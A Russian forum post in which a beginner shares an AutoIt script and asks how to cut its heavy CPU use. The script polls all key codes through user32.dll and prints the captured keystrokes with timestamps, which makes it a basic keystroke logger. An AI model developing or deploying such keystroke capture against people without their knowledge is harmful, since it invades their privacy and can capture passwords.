Добрый день!
Я новичек в написании скриптов AutoIt. Недавно состряпал вот такую штуку:
все вроде исправно работает, но очень сильно нагружается процессор, а увеличение времени
"sleep" ведет к тому что скрипт не успевает отрабатывать некоторые нажатия клавиш. Хотелось бы узнать ваше мнение на сей счет, что неправильно и как можно оптимизировать код?
Я новичек в написании скриптов AutoIt. Недавно состряпал вот такую штуку:
Код:
#include <Misc.au3>
#include <Array.au3>
Global $round = 0
Global $avArray[2]
$avArray[0] = ''
$avArray[1] = ''
sleep(10000)
$dll = DllOpen('user32.dll')
While 1
For $i = 1 To 250
If _IsPressed(Hex($i), $dll) And $i <> 160 And $i <> 16 And $i <> 161 Then
_ArrayAdd($avArray, StringReplace(Hex($i), '000000', '') & '.')
If _IsPressed('10', $dll) Then
_ArrayAdd($avArray, '!')
EndIf
While _IsPressed(Hex($i), $dll)
WEnd
EndIf
Next
If IsInt($round/1800000) Then
$string = _ArrayToString($avArray, '', '', '')
ConsoleWrite(@CRLF & '----------------------------------------' & @CRLF & @MDAY & ',' & @MON & ',' & @YEAR & ' ' & @HOUR & ':' & @MIN& @CRLF & @CRLF & $string & @CRLF)
For $j = 2 To UBound($avArray) - 1
_ArrayDelete ($avArray, $j)
Next
sleep(1)
EndIf
$round = $round + 1
WEnd
все вроде исправно работает, но очень сильно нагружается процессор, а увеличение времени
"sleep" ведет к тому что скрипт не успевает отрабатывать некоторые нажатия клавиш. Хотелось бы узнать ваше мнение на сей счет, что неправильно и как можно оптимизировать код?